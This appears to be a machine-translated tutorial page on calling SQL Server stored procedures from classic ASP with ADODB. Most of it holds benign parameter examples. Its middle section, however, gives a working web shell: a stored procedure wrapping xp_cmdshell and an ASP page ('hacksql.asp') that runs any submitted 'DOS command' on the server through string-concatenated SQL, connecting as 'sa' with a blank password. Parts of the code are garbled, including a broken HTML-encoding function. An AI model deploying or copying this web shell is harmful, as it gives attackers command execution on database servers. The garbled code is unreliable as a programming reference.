ASP using stored procedures __ Storage

1, call a stored procedure without parameters
<%
Set Conn=server. CreateObject ("Adodb.connection")
Set Cmd=server. CreateObject ("Adodb.command")
Strconn= "Dsn=pubs;uid=sa;pwd"

Conn. Open strconn
Set CMD. Activeconnection=conn

cmd.commandtext= "{Call Nono}"

' Set Rs=cmc.exe or Cmd.execute

Set Rs=cmd. Execute ()

%>
2, a stored procedure for an input parameter
<%
Set Conn=server. CreateObject ("Adodb.connection")
Set Cmd=server. CreateObject ("Adodb.command")
Strconn= "Dsn=pubs;uid=sa;pwd"

Conn. Open strconn
Set CMD. Activeconnection=conn

cmd.commandtext= "{call Oneinput (?)}"
Cmd. Parameters.Append cmd. CreateParameter ("@aaa", adinteger, adParamInput)
CMD ("@aaa") =100

Cmd. Execute ()

%>
3, an input parameter and an output parameter
<%
Set Conn=server. CreateObject ("Adodb.connection")
Set Cmd=server. CreateObject ("Adodb.command")
Strconn= "Dsn=pubs;uid=sa;pwd"

Conn. Open strconn
Set CMD. Activeconnection=conn

Cmd.commandtext = "{call Oneinout (?,?)}"
Cmd. Parameters.Append cmd. CreateParameter ("@aaa", Adinteger,adparaminput)
CMD ("@aaa") =10
Cmd. Parameters.Append cmd. CreateParameter ("@bbb", Adinteger,adparamoutput)

Cmd. Execute ()

Bbb=cmd ("@bbb")
%>
4, an input parameter, an output parameter, and a return value
<%
Set Conn=server. CreateObject ("Adodb.connection")
Set Cmd=server. CreateObject ("Adodb.command")
Strconn= "Dsn=pubs;uid=sa;pwd"

Conn. Open strconn
Set CMD. Activeconnection=conn

Cmd.commandtext= "{? =call Onereturn (?,?)}"

Cmd. Parameters.Append cmd. CreateParameter ("@return_value", Adinteger,adparamreturnvalue)
Cmd. Parameters.Append cmd. CreateParameter ("@aaa", Adinteger,adparaminput)
CMD ("@aaa") =10
Cmd. Parameters.Append cmd. CreateParameter ("@bbb", Adinteger,adparamoutput)

Cmd. Execute ()

Bbb=cmd ("@bbb")
Rrr=cmd ("@return_value")
%>

---------------------------------------------------------------

1, first in the SQL inside you can access the database to establish stored procedures, such as: Ddy
As follows:
CREATE PROCEDURE Ddy
@cmd varchar (50)
As
EXEC master.. xp_cmdshell @cmd
2, the ASP program is as follows: (hacksql.asp)
<%
Cmd=trim (Request.Form ("cmd"))
If cmd<> "" Then
Work ()
Else
Show ()
End If
function work ()
Set Conn=server. CreateObject ("Adodb.connection")
Set Rs=server. CreateObject ("Adodb.recordset")
Conn. Open "xx", "sa", ""
sql= "exec ddy '" &cmd& ""

Rs. Open Sql,conn
If not Rs. EOF Then
Do as not rs.eof
Response.Write "<pre>" &htmlencode2 (Trim (RS (0)) & "</pre>"
Rs. MoveNext
Loop
Else
Response.Write "No"
End If
If Rs. State=1 then Rs.close
Set rs=nothing
Conn. Close
Set conn=nothing
End Function
Function Show ()
%>
<form action=hacksql.asp method=post>
Please enter DOS command: <input type=text name=cmd>
<input type=submit value= "OK" >
</form>
<%
End Function
function Htmlencode2 (str) '--------conversion functions (more neat for display)
Dim result
Dim l
If IsNull (str) Then
Htmlencode2= ""
Exit function
End If
L=len (str)
Result= ""
Dim i
For i = 1 to L
Select Case Mid (str,i,1)
Case "<"
Result=result+ "<"
Case ">"
result=result+ ">"
Case Chr (34)
result=result+ "" "
Case "&"
result=result+ "&"
Case Chr (13)
result=result+ "<br>"
Case Chr (9)
Result=result+ ""
Case "'"
result=result+ "'"
Case Chr (32)
Result=result+ ""
If I+1<=l and i-1>0 then
If Mid (str,i+1,1) =CHR or mid (str,i+1,1) =CHR (9) or mid (str,i-1,1) =CHR (?) or mid (str,i-1,1) =CHR (9) Then
Result=result+ ""
Else
Result=result+ ""
End If
Else
Result=result+ ""
End If
Case Else
Result=result+mid (str,i,1)
End Select
Next
Htmlencode2=result
End Function
%>

---------------------------------------------------------------

The stored procedures used in ASP are as follows:
Set objrs_emp = Server.CreateObject ("ADODB. Recordset ")
Set objcom = Server.CreateObject ("Adodb.command")


Objcom. ActiveConnection = objconn
Objcom.commandtype = &h0004
Const adCmdStoredProc = &h0004
Objcom.commandtimeout = 15
Objcom. Prepared = True

Const ADINTEGER = 3
Const ADVARCHAR = 200
Const ADBSTR = 8
Const ADCHAR = 129
Const ADLONGVARCHAR = 201
Const ADWCHAR = 130
Const ADVARWCHAR = 202
Const ADLONGVARWCHAR = 203
Const ADBINARY = 128
Const ADVARBINARY = 204
Const ADLONGVARBINARY = 205
Const Adparamunknow = &h0000
Const adParamInput = &h0001
Const adparamoutput = &h0002
Const adparaminputoutput = &h0003
Const adParamReturnValue = &h0004

Objcom.commandtext = "Stored Procedure name"
Objcom. Parameters.Append objcom. CreateParameter ("@empid", 129,&h0001,10,empid)
Objcom. Parameters.Append objcom. CreateParameter ("@password", 129,&h0001,10,password)
Objcom. Parameters.Append objcom. CreateParameter ("@ret", 3,&h0001,,1)
Set objrs_emp = objcom. Execute